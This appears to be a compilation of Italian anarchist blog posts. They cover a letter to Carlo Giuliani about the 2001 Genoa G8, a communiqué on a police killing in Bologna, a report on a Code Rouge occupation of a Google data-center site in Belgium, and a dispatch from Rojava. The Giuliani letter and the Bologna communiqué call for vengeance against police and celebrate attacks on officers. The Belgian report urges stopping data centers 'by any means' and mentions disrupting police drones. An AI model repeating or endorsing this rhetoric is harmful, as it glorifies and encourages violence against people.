Com’è prevedibile, non ho quasi alcuna simpatia per la sua condizione. Ma è personalmente un assassino? Non lo so. Non siamo mai riusciti a deciderci davvero su questo, tanto che la quarta di copertina del numero di Barricada che abbiamo pubblicato subito dopo la battaglia di Genova, a te dedicato e in cui promettevamo di vendicarti, riporta la frase «Carlo non è stato una vittima della brutalità poliziesca», proclamando al contempo: «Hanno assassinato un anarchico».
Per quanto disprezzo provi per l’uomo che ti ha tolto la vita, qualche anno fa ha detto qualcosa che mi aiuta a capire perché io, come tanti altri anarchici, mi sia identificato così fortemente in te e abbia sentito la tua scomparsa in modo così personale e passionale:
«Quel giorno per me resta un trauma, un trauma per la morte di un ragazzo come me, anche lui vittima in quel giorno tragico. Non sono un carnefice, non sono un vendicatore. Quel giorno non impugnavo la pistola per Mario Placanica, la impugnavo per i Carabinieri, per lo Stato italiano».
Per un momento, ignoriamo l’autocommiserazione e la falsa equivalenza con cui si dipinge come una vittima tuo pari, dato che entrambi sappiamo che non era un coscritto ma un professionista che ha scelto volontariamente il suo mestiere. Ha comunque ragione nel dire che è stato lo Stato italiano a mettere la pistola in mano a questo soldato bambino e a dargli carta bianca per sparare contro chi si ribellava. Ti hanno sparato perché eri “uno di noi”.
“Uno di noi”. Lo abbiamo scritto sui muri per anni. Uno tra le decine e decine di migliaia nelle strade di Genova che quel giorno avevano scelto di insorgere. Uno di noi, uno identico a noi, a prescindere dall’etichetta politica che ci appiccichiamo addosso, a prescindere che alcuni passino le giornate a curare riviste anarchiche e a pianificare azioni mentre altri passano il tempo a fare la colletta e a cazzeggiare con i propri cani per la propria città.
Uno di noi. Tutti noi, al di là delle nostre motivazioni più specifiche, eravamo lì quel giorno perché vedevamo questo mondo come un ingranaggio rotto e ci rifiutavamo di stare a guardare. Hai scelto di ribellarti, proprio come noi, con una pietra in mano, il volto coperto, la testa alta e la tua dignità. Nessun intermediario, nessuna messa in scena o spettacolo a uso e consumo dei presunti gusti delle masse. Solo il tuo corpo come arma e i compagni al tuo fianco come forza. Hai scelto questa strada non per morire, ma per vivere. Perché volevi vivere, libero e senza catene.
Così libero, così senza catene, che so che la nostra affinità probabilmente esisteva solo nelle strade, nello scontro diretto contro coloro che riconoscevamo come nemici comuni. Non cederò a toni nostalgici su che persona fantastica tu fossi, anche se tuo padre dice che gli hai dato «la forza dei tuoi ideali» e gli hai insegnato a non giudicare la gente da «una maglietta strappata, i buchi nei pantaloni o i capelli colorati». Non ci sarà alcun voyeurismo del dolore qui; gli avvoltoi della stampa ne hanno già fatto abbastanza all’epoca.
Uno di noi. Forse non un attivista o un militante, non un quadro di alcuna organizzazione o struttura, ma uno di noi perché hai scelto di lottare. Di lottare al nostro fianco, spalla a spalla. Uno di noi: ed è per questo che ti hanno sparato. Sappiamo tutti che il proiettile che ha trovato te avrebbe potuto trovare benissimo chiunque di noi. Era destinato a uno qualsiasi di noi, a tutti noi.
Nei mesi e negli anni successivi alla tua morte, ho capito quanto questo fosse dolorosamente e visceralmente vero, mentre un compagno dopo l’altro cadeva sotto i proiettili dello Stato o le lame dei fascisti. Lo stesso anno in cui sei morto tu, lo Stato ha scatenato una pioggia di fuoco che ha ucciso decine di persone in Argentina. Non ho potuto fare a meno di ricordarmi di te mentre mi riparavo dietro le nostre barricate improvvisate, senza sapere se i proiettili che sfrecciavano verso di noi fossero di gomma o di piombo. Anni dopo, quando un poliziotto ha assassinato un anarchico di quindici anni ad Atene, molti di noi che avevano condiviso le strade con te a Genova hanno fatto piovere fuoco sugli sbirri fuori dal Politecnico occupato. Eri nei nostri pensieri anche allora.
Quello che sto per dire ora potrebbe sembrare contraddittorio, ma risulterà chiaro ad altri combattenti. Dopo molti anni, sono arrivato alla conclusione che è questo che siamo: combattenti. Certo, non andiamo in guerra, e non pretendo di spacciarci per ciò che non siamo. È vero che non c’è paragone tra i rischi associati ai conflitti a cui partecipiamo e le condizioni di un vero scontro bellico. Ma le mie esperienze di vita e quelle di chi mi circonda comportano una costante vicinanza alla morte, al carcere, alle lesioni gravi, all’esilio. Non sono le esperienze, i traumi, che la maggior parte dei civili vive in questa parte del mondo, almeno, non ancora.
Come combattente, credo a due cose contemporaneamente, anche se suonano contraddittorie.
Primo: la tua morte è stata tragica. Vorrei che non fosse mai accaduta. Abbiamo cercato disperatamente di vendicarti, sia per principio che per una questione di pura autodifesa. Per mandare un messaggio allo Stato: il sangue dei ribelli, degli anarchici, si paga a caro prezzo.
Ma allo stesso tempo, ed è qui che molte persone non la pensavano come noi, la tua morte era inaspettata? Probabilmente no. Dovremmo chiamarlo assassinio? Forse in senso lato, ma la questione sembra quasi irrilevante. Soprattutto: la tua morte era un motivo per fermare i nostri sforzi? Assolutamente no. La ribellione è importante. Ma i ribelli muoiono, in particolare quando le insurrezioni iniziano ad avere successo e lo Stato inizia a prendere sul serio i suoi nemici. E quando lo Stato toglie loro la vita, mi mancano e amo anche quelli che non ho mai incontrato.
Suona come demagogia dire che ti manca una persona che non hai mai incontrato e con cui probabilmente non saresti nemmeno andato d’accordo. Ma è così. Mi manchi come mi mancano Dax e Carlos, portati via dalle lame dei fascisti a Milano e Madrid; come mi manca Clément, caduto combattendo i fascisti a Parigi; come mi mancano Pocho Lepratti a Buenos Aires, Alexis ad Atene e Tortuguita ad Atlanta, tutti portati via dai proiettili della polizia. O come mi manca quel ragazzo a Gottinga che un giorno è entrato nel nostro infoshop, di cui non ricordo nemmeno il nome, e che mi vergogno di dire di non aver mai preso sul serio, che poi è andato a dare la vita combattendo contro il fascismo islamico e per la rivoluzione nel Rojava, come tanti altri volontari internazionali. Mi mancano loro e ogni altro compagno che non c’è più, perché quei proiettili e quelle lame erano puntati contro tutti noi. Mi mancano perché facevano tutti parte della lotta per un’idea comune. Mi mancano, così come mi manchi tu, perché anche se posso non conoscere la persona, conosco la specie.
Carlo, non ti conoscevo, ma mi dispiace che tu non ci sia più. Non ti ho mai incontrato, ma mi manchi. Terrò per sempre alta la tua memoria e cercherò di vendicare la tua morte, perché il sangue dei nostri compagni non si compra a poco prezzo. E anche se non riesco ancora a trovare l’ottimismo per credere in un comodo e bellissimo aldilà, non posso fare a meno di sperare che tu abbia sorrisi di approvazione da lassù per i nostri sforzi.
Questo testo è adattato dal libro From Riot to Insurrection: The G8 Summit of 2001 & The Battle of Genoa di Tomas Rothaus.
Il 19 luglio, a 25 anni esatti dall’omicidio poliziesco di Carlo Giuliani, dalle torture e dalle umiliazioni incancellabili delle strade genovesi, della Diaz, delle Pascoli, di Bolzaneto e di altre caserme e carceri, Abderrahim Fakir, 43 anni, è stato ammazzato dalla polizia a Bologna. Ad Abderrahim, ai suoi compagni e familiari va il nostro abbraccio.
I video sono evidenti: legato, soffocato a morte, davanti a numerosi testimoni e agli uomini del 118, fermi, impotenti, immobili.
Noi li conosciamo gli uomini delle volanti: per lo più giovani reclute, palestrati, arroganti, piccoli rambo tutto muscoli, il cervello a riposo da tempo, servi ciechi di un sistema criminale e corrotto, perfette braccia di una testa che siede sui banchi del ministero dell’Interno, diretto da un questurino che a Bologna ricordiamo bene. Teste e braccia del sistema di polizia fanno parte di un mondo da superare, sono una vergogna e un pericolo costante per tutte e tutti. Alla loro sinistra siedono i politici democratici a guida della città e della regione, sempre pronti a invocare nuove forze “di sicurezza” (la sicurezza di essere ammazzati?) e che oggi fanno finta di indignarsi. Chiedono più polizia e questi sono i risultati, ci sembra evidente: che senso ha la loro indignazione di oggi? [leggi tutto…]
Decenni fa i movimenti chiedevano il disarmo della polizia, nel 2026 abbiamo un numero immane di servizi armati dello stato, con nuovi corpi pesantemente militarizzati fino ai vigili urbani e ai vigili del fuoco.
È una società militare, la nostra. E questi sono oggi i risultati, i 𝑚𝑜𝑟𝑡𝑖𝑎𝑚𝑚𝑎𝑧𝑧𝑎𝑡𝑖 per le strade, nelle carceri, nei CPR, nei commissariati e nelle caserme.
Di fronte a tutto ciò non chiediamo giustizia. Niente può ridare alla vita un uomo ucciso dalle forze di polizia. Giustizia, non ci può essere. E la verità, quella è già lì, nel video, davanti ai nostri occhi.
Piuttosto, vogliamo autodifesa. E 𝑣𝑒𝑛𝑑𝑒𝑡𝑡𝑎– come atto umano che si fa strumento della 𝑁𝑒́𝑚𝑒𝑠𝑖𝑠 e redistribuisce il destino – perché purtroppo sappiamo che le leggi dello Stato non possono restituire la misura al mondo, né arrestare la violenza criminale di una questura nota per la sua condotta omicida, come le vicende pluriennali della Uno bianca dimostrano: noi non dimentichiamo.
Siamo sconvolti di rabbia.
I loro muscoli, le loro armi, la loro arroganza devono ritornargli indietro e lasciare solo macerie. Ne va della nostra vita
Lo scorso fine settimana in Belgio si è tenuta la prima azione di protesta festosa del movimento Code Rouge contro l’installazione dei data centers. Tra un’ondata di perquisizioni avvenuta pochi giorni prima, la canicola e i temporali, gli eventi hanno preso una piega inaspettata. Ecco un breve resoconto frammentario e fotografico sulle lezioni apprese in quel fine settimana.
Data center che spuntano come funghi
In Belgio, questo fine settimana ad Aiseau, vicino a Charleroi, ha preso il via la lotta contro i data centers. I giganti della tecnologia hanno scelto il Belgio come una terra privilegiata per installare i loro data centers. Google, ad esempio, negli ultimi vent’anni ha investito miliardi in data centers nei dintorni di Charleroi, cinque miliardi solo per i prossimi due anni (2026-2027). In un raggio di 40 km, in Vallonia, l’azienda ne conta otto: cinque attualmente attivi, due in costruzione e uno per il quale è stato appena acquistato il terreno. Se la gente vallona è nota per essere cordiale e accogliente verso chiunque, il governo di questa regione riserva invece la propria ospitalità alle grandi aziende che vengono a devastare i suoi territori, ad accaparrarsi le sue risorse, il tutto ovviamente alla ricerca di una qualche possibilità di evasione fiscale. Questo fine settimana un’azione di Code Rouge, in collaborazione con attivisti locali, aveva deciso di occupare un sito in costruzione destinato a un data center di Google. Non è però il resoconto di questa azione che verrà proposto qui, ma solo alcune note significative sulla riconfigurazione delle condizioni di lotta, sulle mutevoli condizioni della guerra in corso per coloro che intendono ancora, nonostante tutto, opporsi all’Impero.
Forse è utile, prima di queste note, spendere qualche parola sui data centers. Potremmo raccogliere statistiche («i data center rappresentano già il 4% del consumo energetico belga, si prevede che raggiungano almeno il 10% nel 2035», ecc.) che ci danno ragione e mettere insieme sufficienti argomenti per invocare l’urgenza di distruggere queste infrastrutture. Questo lavoro di base, consistente nel condividere ciò che per molti è ovvio, per quanto possa essere tedioso, è importante e necessario (soprattutto quando la costruzione dei data centers avviene in un clima di voluta opacità): non tanto per attirare il sostegno dei media (anche se non possiamo permetterci di esentarci dal fetido gioco mediatico) quanto per stringere preziose alleanze che fondano una comunità di lotta. Qui ci risparmieremo questo lavoro, condividendo semplicemente il discorso della Fronde Liégeoise Anti-Militariste (FLAM), uno dei tre discorsi pronunciati all’inizio dell’azione in un accampamento militante allestito ai margini di una cascata: [leggi tutto…]
Cos’è un data center se non l’infrastruttura del disastro per eccellenza? Che cos’è un data center se non l’ultima infrastruttura strategica del capitalismo per garantire il proprio rinnovamento al prezzo di sacrificare più che mai il vivente? Come molti già sanno, l’insediamento dei data center – grandi magazzini che archiviano i dati digitali – si basa su una logica predatoria a ben quattro livelli:
predazione della terra, e in particolare dei terreni coltivabili che potremmo utilizzare per nutrirci.
predazione delle terre rare, dei minerali necessari per i server dei data centers e, più in generale, per tutte le tecnologie digitali – terre rare di cui l’Europa dispone in quantità molto limitate e che deve procurarsi altrove, in particolare nei paesi del Sud. La digitalizzazione del mondo, la costruzione dei data centers, tutto ciò si basa su una logica neocoloniale e su processi imperialisti di una violenza inaudita. Per comprendere il genocidio in corso in Congo, forse non occorre andare molto oltre. Le tasche in cui infiliamo i nostri smartphone sono macchiate del sangue dei congolesi, proprio come le nostre dita e le nostre voci, rese ottuse quando rivolgono domande a un’intelligenza artificiale.
Sfruttamento predatorio dell’acqua per il raffreddamento dei server, in un momento in cui l’acqua sta per diventare un bene raro.
Sfruttamento colossale dell’energia… una richiesta a un’intelligenza artificiale comporta un consumo energetico dieci volte superiore a quello di una semplice interrogazione di un motore di ricerca.
Questa logica predatoria è tanto più acuta e letale in quanto i sostenitori dell’Economia costruiscono sempre più data centers e data centers sempre più grandi. Basterebbe la sola dimensione palesemente ecocida e neocoloniale di queste infrastrutture a giustificare la nostra urgenza di impedire con ogni mezzo possibile e inimmaginabile qualsiasi costruzione di data centers. Ma, in quanto collettivo antimilitarista, noi della FLAM vorremmo insistere anche su un’altra dimensione dei data centers. Vorremmo considerarli come infrastrutture chiave non solo della visione societaria promossa da ciò che oggi viene definito “tecnofascismo”, ma anche come infrastrutture chiave delle guerre imperialiste in corso e a venire.
Per cogliere innanzitutto la portata dell’orrore tecnofascista, occorre immergersi nel manifesto pubblicato lo scorso 18 aprile da Palantir: un testo in cui l’azienda presenta chiaramente le sue posizioni suprematiste proclamando, ad esempio, che «alcune culture hanno permesso progressi essenziali; altre rimangono disfunzionali […] si sono rivelate mediocri, se non addirittura regressive e nefaste».
Questa azienda ha appena aperto un ufficio a Bruxelles per stipulare contratti con il Belgio. Palantir fornisce software per favorire il mantenimento dell’ordine autoritario; Palantir ha collaborato al genocidio a Gaza; Palantir è stata inoltre utilizzata come supporto per le retate delle milizie fasciste di Trump; Palantir ha un presidente apertamente maschilista, filosionista e neofascista. Ma il potere funesto di Palantir dipende strettamente dai data centers. Il manifesto di Palantir costituisce infatti «un cambiamento radicale di regime, in cui lo Stato deve essere messo a disposizione di un gruppo capitalista». I nostri cosiddetti “rappresentanti”, i nostri “democraticamente eletti”, intendono vendere se stessi e noi ad attori che manifestano chiaramente le loro ambizioni autoritarie e genocidarie!
Il progetto tecnofascista mira così ad assicurare il controllo autoritario delle popolazioni non solo diffondendo tecnologie di sorveglianza basate sull’intelligenza artificiale praticamente ovunque nello spazio pubblico, ma anche infiltrando il digitale e l’intelligenza artificiale in ogni angolo della nostra vita quotidiana per conoscere meglio, e quindi controllare meglio, i sudditi del potere. Occorre sottolineare la dinamica totalitaria del progetto tecnofascista, per non parlare dell’impatto deleterio di queste tecnologie sulla nostra salute mentale.
Per quanto riguarda le guerre imperialiste, assistiamo oggi alla sperimentazione di nuove forme di guerra, in cui i robot solcano i campi di battaglia, i droni minacciano dai cieli e numerose armi sono dotate di intelligenza artificiale, ovvero di un’intelligenza che si misura in base alla sua capacità letale. E il governo belga vorrebbe investire un miliardo di euro entro il 2030 per costruire data centers riservati esclusivamente all’esercito. Va da sé che gli investimenti sempre più massicci a favore del complesso militare-industriale avvengono a scapito di altri settori: il nostro antimilitarismo deve essere collegato all’attuale sciopero del settore istruzione e a qualsiasi altro sciopero selvaggio che intenda attaccare il neoliberismo autoritario.
Per concludere, vorremmo aggiungere un punto. L’orizzonte che si profila davanti a noi, con le guerre, il tecnofascismo, il degrado delle condizioni di vita sulla Terra, può sembrare opprimente e ineluttabile. Ma bisogna ricordare che possiamo sabotare questo orizzonte, modificarne i connotati. Perché le guerre, il tecnofascismo, l’ecocidio, tutto questo si fabbrica a casa nostra, come qui con il data center di Aiseau. È importante quindi radicare la lotta, creare collettivi che vogliano riappropriarsi del proprio territorio. Non possiamo invocare la liberazione della Palestina o del Congo senza liberare i nostri territori dalla macchina da guerra imperialista.
Con la FLAM abbiamo quindi deciso di condurre una guerra contro la guerra che si sta preparando a Liegi e di lanciare la campagna Disarmiamo Liegi. Perché a Liegi c’è un numero impressionante di aziende del settore degli armamenti. Iniziamo questa campagna ora, prendendo di mira Thalès, una delle peggiori aziende del complesso militare-industriale. Thalès ha siti produttivi e numerosi collaboratori di vario genere a Liegi; ha inoltre una partnership con l’Università di Liegi per dotare i razzi di intelligenza artificiale. Due settimane fa, con un blocco determinato, abbiamo impedito al commissario europeo alla Difesa, Andrus Kubilius, di recarsi presso la sede di Thalès e della FN Herstal per firmare dei contratti!
Ovunque ci troviamo, dobbiamo indagare intorno a noi per portare alla luce tutti gli anelli di questo complesso militare-industriale e del tecnofascismo, costituire collettivi di lotta e trovare il modo di agire efficacemente insieme per disarmare i nostri territori e riappropriarcene.
Per tutti questi neofascisti e altri mercanti di morte che hanno deciso di diffondere l’inferno sulla terra vogliamo che, a loro volta, la loro vita diventi un inferno. Questo contrattacco è necessario per poter vivere tutti quei bei momenti collettivi di gioia, di senso ritrovato e di solidarietà, come quello che stiamo vivendo oggi, come ogni volta che ci riuniamo per dare vita a un altro mondo e attaccare il mondo del nemico. Fanculo l’imperialismo e le sue guerre, abbasso il tecnofascismo, Free Palestine, Free Congo, e viva le lotte di liberazione!
Siamo quelle stelle che nel caos…
L’organizzazione di questa azione Code Rouge è stata più che perturbata. Il fatto che abbia avuto luogo non è tanto un miracolo quanto il risultato di una grande determinazione che ha dato vita ad alcuni momenti di grazia.
Due settimane prima di questa azione, che invitava a un’occupazione festosa contro il tecnofascismo, un’ondata di perquisizioni ha colpito Code Rouge in tutto il Belgio: 19 persone perquisite, 6 deferite al giudice istruttore, 2 poste sotto sorveglianza elettronica. Questa ondata è stato il risultato di un coordinamento tra diverse forze di polizia a livello nazionale e ha fatto seguito a un’azione di massa che lo scorso anno aveva preso di mira la Cargill (la più grande azienda agroalimentare del mondo, famigerato colosso americano così potente da plasmare a suo volere le politiche agricole), causando diversi milioni di euro di danni al sito attraverso energici atti di smantellamento. A questa repressione, che mirava anche a destabilizzare Code Rouge prima della sua prossima azione, si è aggiunta l’ondata di caldo. Come affrontare un’azione di massa, un certo conflitto con il braccio armato dello Stato capitalista, come mantenere un’occupazione festosa, magari per diversi giorni, sotto la pressione della polizia e con temperature che possono raggiungere e superare i 40°? I giovani della generazione X verranno a fare un’azione del genere con 40°? Che si tratti di logistica, di assistenza, delle possibilità fisiche di portare avanti questa o quella azione, si sono posti – e continueranno a porsi negli anni a venire – molti problemi un po’ nuovi. Bisogna rifletterci fin da ora, non per allarmare sul cambiamento climatico, ma per prepararci a lottare quando «davanti a noi il Diluvio!». Uno degli effetti concreti dell’ecocidio in corso, il riscaldamento globale, è quindi venuto a sconvolgere ciò che da diversi anni cerca con ogni mezzo di porre un freno d’emergenza a questa catastrofe. Code Rouge (Codice Rosso) pare proprio un nome azzeccato.
L’azione deve tenere conto di questo contesto e, partendo da lì, dotarsi di obiettivi politici comunque pertinenti, anche se l’antagonismo non potrà essere così intenso come nelle ultime edizioni di Code Rouge: 1. sensibilizzare il territorio sulla nocività dell’infrastruttura e consolidare le prime alleanze; 2. volgere il turbamento a nostro vantaggio trasformandolo in uno slancio di gioia.
Dunque, allestiamo un accampamento di protesta a pochi chilometri dal sito, in riva alla cascata, bloccando il ponte attraverso il quale la polizia, visibile a poche centinaia di metri di distanza, potrebbe tentare di irrompere. Fa un caldo torrido, la pelle è umida e il sudore imperla il corpo; gli interventi al microfono ci ridanno vigore, poi ci prendiamo il tempo di rinfrescarci nella cascata. All’inizio della serata smontiamo l’accampamento e diamo il via a una marcia rumorosa e musicale in direzione del sito, attraversando il villaggio, mentre la polizia è all’erta.
Ma all’avvicinarci al luogo della manifestazione, che si trova in riva alla Sambre, deviamo e costeggiamo il corso d’acqua, attraversiamo un ponte per raggiungere l’altra sponda e risaliamo in senso inverso il fiume, sulla cui superficie si spengono gli ultimi riflessi del giorno. Lungo il percorso, una struttura metallica su ruote, equipaggiata con un potente impianto audio, sbuca da una strada perpendicolare per unirsi a noi. Il bolide pompa musica a palla e prende la testa del corteo lungo l’alzaia; i fumogeni avvolgono il corteo di rosso, di nero e di fiamme, e si balla. Ci riversiamo su un’enorme lastra di cemento, appena ridipinta, proprio di fronte al data center. Proiezioni luminose decorano un traliccio elettrico, sul fianco di una collina boscosa, mentre sulla riva del data center vengono proiettate queste poche lettere giganti: «FUCK GAFAM». Intorno all’impianto audio prende forma un villaggio in festa: giradischi per accogliere i nostri DJ ospiti, uno stand RDR, un tavolo per il cibo in arrivo.
Fa caldo, molto caldo: è l’inizio della festa e delle tradizionali chiacchierate notturne, ma all’orizzonte alcuni lampi e grosse nuvole che sembrano avvicinarsi a grandi passi lasciano intuire che tra poco avremo un po’ di refrigerio. Prima si scatena un vento violento, che mette a rischio i gazebo facendoli quasi volare via, poi un acquazzone che, unito al vento impetuoso, ci colpisce come una grandinata. L’impianto audio sputa coraggiosamente e si continua a ballare, fradici, mentre il cielo si squarcia in lungo e in largo: lampi regolari, di dimensioni e geometria notevoli, di un colore a volte sorprendente che tende all’arancione, illuminano la pista da ballo e il data center. Fermo immagine (sublime): ci sono chiaramente due mondi nemici che si fronteggiano, quello dei data centers e quello della dance floor, e se la guerra non è potuta scoppiare in questo fine settimana, se il suo potenziale resta latente, dal rovescio in cui ci troviamo il cielo scatenato ci ricorda la violenza: quella di cui i data centers sono i vettori tecnologici, quella che in un certo senso non potremo fare a meno di rivendicare per smantellare queste infrastrutture e tutti coloro che le difendono.
Si balla quindi, per un po’, tra venti e violenti acquazzoni, sotto lampi mozzafiato, free party. Curiosamente, si sentono diverse persone citare il film Sirat come se fossimo una sua nuova scena. Un mondo strano e spesso denigrato, o non apprezzato nel suo giusto valore, quello del free party. Persino tra i rivoluzionari a volte si fatica a riconoscere la politica di cui il free party è portatore: ci si dice che l’energia della festa sarebbe meglio spesa altrove, si prova in fondo un po’ di disprezzo per tutti quei corpi strani che si muovono di notte, occupano luoghi in totale illegalità, si dedicano a rituali inconsueti. Eppure bisogna aver visto, come questo fine settimana (ma anche durante altre azioni politiche infuocate, quest’anno, in Belgio), l’ingegnosità collettiva e gli atti coraggiosi per cercare di innestare in vari modi la festa nell’azione politica, per tenere viva la festa in tempi proto-apocalittici, per offrire uno spazio-tempo di sfogo così gioioso in tempi così cupi.
Non c’è da stupirsi nel vedere come la free sia una vera ossessione per i politici reazionari: incarna infatti una sorta di bug nella gestione normativa del tempo, dello spazio, dei corpi. E più che mai, di fronte a un data center, la presenza della free preannuncia una politica futura: la politica del bug. Quella in cui si cerca di ostacolare la digitalizzazione del mondo attaccandone l’esoscheletro, in cui ci si arrangia nelle intemperie per far vivere momentaneamente una collettività, in cui si improvvisano le proprie tecnologie che da una parte abbelliscono la festa e dall’altra contrattaccano (fasci luminosi sufficientemente potenti possono servire a decorare il luogo della festa ma anche a disturbare il funzionamento dei droni…), in cui la collettività festante sa che la polizia è una minaccia alla quale bisogna saper far fronte, in cui si sperimenta lo sconvolgimento delle normatività del potere. Non ignoriamo i lati oscuri della festa, gli abissi che può aprire sotto i nostri piedi, i circoli viziosi in cui può trascinare le nostre menti allontanandole dall’organizzazione politica. Ma esiste eccome un’organizzazione del tutto politica del party, lontana dai centri culturali alternativi per cool kid, e crediamo fermamente che questa politica della festa sia una componente essenziale di una politica rivoluzionaria.
A un certo punto la pioggia diventa troppo forte, i fulmini troppo minacciosi, bisogna spegnere la corrente e la musica. Il tempo si sospende, l’atmosfera è lunare, piove forte, non si sa più se fa caldo o freddo, se è il caso di andarsene o restare, se si è in preda alla stanchezza o all’estasi. In quel momento arrivano altri festaioli, scoprono una festa messa in pausa dal violento temporale: è il gioco. Poi la pioggia smette, il suono riprende, i fuochi d’artificio esplodono nel cielo, i vari tavoli vengono rimontati e si ricomincia da capo, per tutta la notte. L’estasi ha la meglio sulla stanchezza e si scatena. La polizia, fino all’alba, svolgerà il suo compito: tentare di schedare, infastidire, reprimere, stroncare gli slanci vitali di ribellione, rendersi sempre più odiosa.
In pista
La repressione colpisce, il tempo impazzisce, ma noi non ci arrendiamo. Regoliamo l’offensiva e la ripensiamo in base al contesto, stringiamo alleanze, trasformiamo la festa in una forza, ci concediamo il tempo di una gioia condivisa in attesa del momento in cui bisogna colpire. C’è da temere o da gioire, a seconda della parte che si occupa nella linea del fronte, nel vedere la crescente determinazione a disarmare con ogni mezzo i data centers.
Racconto dalla terra della Rivoluzione delle Donne – Rojava del Kurdistan, 12 marzo 2026
Amelia Zumaglino, internazionalista italiana dall’Istituto Andrea Wolf dell’Accademia di Jineoloji in Rojava
Dopo un inverno in cui la guerra è tornata a serpeggiare in Rojava e ha sottoposto tutto il territorio a violenze senza precedenti, la primavera di questi primi giorni di marzo si fa strada lentamente, regalandoci un verde intenso e i primi germogli. Fa quasi impressione ora vedere e sentire l’insistenza della vita, nelle piante di ulivo così come nelle mani delle yade anziane che nei villaggi preparano i giardini, tessono e insistono nella cura del quotidiano.
Vi scrivo come internazionalista italiana dall’Istituto Andrea Wolf, struttura internazionalista dell’Accademia di Jineoloji in Rojava, per provare a restituire parte della realtà che la Rivoluzione nel territorio del Nord-Est della Siria sta attraversando. Conosciamo bene le difficoltà nel cogliere il cambiamento di questi tempi da territori lontani, come possono esserlo quelli italiani, e per questo mi propongo di aprire in queste pagine un racconto onesto che possa riportare la realtà della società, più che quella del quadro geopolitico.[1]
La guerra – iniziata il 6 gennaio con gli attacchi ai quartieri autogestiti nella città di Aleppo – non è arrivata inaspettata, perché sono diversi anni che ogni inverno diventa qui scenario di guerra, tuttavia questa ha obbligato a una trasformazione politica senza precedenti. La cooperazione tra il governo di transizione siriano, lo stato turco con le sue milizie sul territorio e i miliziani dell’ISIS colpisce immediatamente per le apparenti contraddizioni tra loro, che tuttavia non hanno impedito di lavorare uniti al massacro. Con uno sguardo meno in superficie è infatti immediatamente chiaro come non ci sia niente di contraddittorio tra queste forze sul livello profondo di come approcciano la vita e l’etica, il potere e – non meno importante – la morte. [leggi tutto…]
Fin da subito, negli attacchi in Sheikh Maqsoud e Ashrafiyah, i due quartieri di Aleppo organizzati nella forma del Confederalismo Democratico, si sono visti miliziani di HTS e turchi con il patch dell’ISIS appuntato sul petto e i corpi delle donne, combattenti così come civili, sono stati presi di mira con atti di violenza dalla brutalità ostentata e simbolica. Buttate giù da palazzi o calpestate con forza; attaccate sul piano simbolico con l’abbattimento delle statue che le celebravano; massacrate e poi sottratte delle loro trecce, esposte e vantate come trofeo di guerra: la linea della furia patriarcale, in opposizione a quello che è il cuore di questa Rivoluzione, è stata affermata in ogni modo.
A tutto questo la società non ha esitato a rispondere in maniera chiara: dai convogli di civili partiti per Aleppo durante gli attacchi per portare solidarietà, aiuto medico e recuperare i feriti, fin all’organizzazione dei quartieri con tutta la società civile coinvolta e organizzata secondo il sistema delle comuni. Nelle città si son tenute manifestazioni e presidi ogni giorno, con l’atto di intrecciarsi i capelli a simboleggiare che la dignità e l’orgoglio delle donne e della loro resistenza non sono stati danneggiati da questi atti brutali. Con il gesto semplice e quotidiano di intrecciarsi i capelli, ripetuto per cento, seicento, mille e più donne di ogni età e cultura, nelle piazze così come sui social media, una nuova forza è stata affermata.
Per una treccia sottratta, innumerevoli altre sono state create, ma non si tratta solo di un atto simbolico, perché il vero significato di questo gesto è il rendere esplicita la volontà delle ragazze – tantissime – e delle donne in risposta a questi attacchi. Vuol dire «noi siamo pronte, non faremo passi indietro». Sono le stesse donne che si sono unite in massa alle diverse strutture e unità di difesa, militari e civili, dando vita a nuovi battaglioni, nuove comuni e organizzando in modo diretto la loro volontà rivoluzionaria.
Quando si chiama questa terra “Rivoluzione delle Donne” è perché quella delle donne organizzate è realmente la realtà fondante qui, e in questi mesi di guerra è stato più esplicito che mai.
Le YPJ, le Unità di Difesa delle Donne, e la loro storia rivoluzionaria sono ormai note al mondo, mentre un altro esempio importante di forze civili di difesa è l’HPC-Jin, le Forze di Difesa della Società delle Donne, che esistono in Rojava da più di dieci anni. Negli scorsi mesi nuove donne si sono unite alle HPC e le si incontra per esempio nella notte agli incroci delle città, raccolte attorno al fuoco per tenere i turni di difesa. Le HPC non fanno parte delle SDF (Forze Democratiche Siriane), come invece le YPJ, e sono composte da giovani donne così come da madri e da anziane che insieme organizzano la difesa della vita, ossia la difesa della società nei loro quartieri.
Dall’inizio della guerra, infatti, l’organizzazione sociale si è intensificata sotto la guida delle donne e nelle città, in ogni quartiere, le comuni si sono moltiplicate: una responsabile dell’acqua, una della produzione e distribuzione del pane, altre per la difesa notturna e diurna o ancora per l’elettricità… ogni persona ha preso parte all’organizzazione della vita e della difesa facendo crollare la distinzione tra le due: non è la presa delle armi quel che rende forte l’autodifesa della società, ma una salda e organizzata consapevolezza di cosa si sta difendendo.
Mi dilungo su questo punto dell’organizzazione della società perché è ciò che sta continuando anche ora che la guerra non è più tanto sul fronte militare e si è spostata al livello di una difficile e scivolosa lotta al tavolo dei negoziati.
Qualcosa di molto forte in questa rivoluzione è la decisione di rimanere dove si è e scegliere di difendere il proprio villaggio o quartiere nei momenti degli attacchi, non solo in quanto rivoluzionarie o forze di difesa militare, ma in quanto civili, in quanto persone inseparabili dalla realtà del villaggio e del quartiere in cui vivono. Questa è la guerra popolare rivoluzionaria e questa è ancora oggi la realtà del Rojava.
Quando a metà gennaio la popolazione del Bakur, il Kurdistan nel territorio turco, ha iniziato a fare pressione sul confine che ha diviso la città di Qamişlo tra il territorio siriano e quello turco, anche da questo lato del muro le persone si sono radunate. Dovete immaginare attorno le 500 persone raccolte in balli, cerchi di donne che cantano sulla Rivoluzione, gruppi di bambini che si arrampicano sui cumuli di terra per sventolare più in alto possibile le bandiere delle YPJ e YPG… e poi, questa gente tutta insieme, che si avvicina al cancello che segna il confine. La bandiera turca sventolava alta e un paio di militari guardavano la scena restando immobili, dritti, fino a che sono stati costretti a indietreggiare e chiamare rinforzi, perché la massa di persone, tutte civili e diversissime tra loro per età e genere, sono avanzate fino ad aprire il cancello con forza, gridando «Yek yek yek gelê kurd yek e!» (uno uno uno il popolo curdo è uno!).
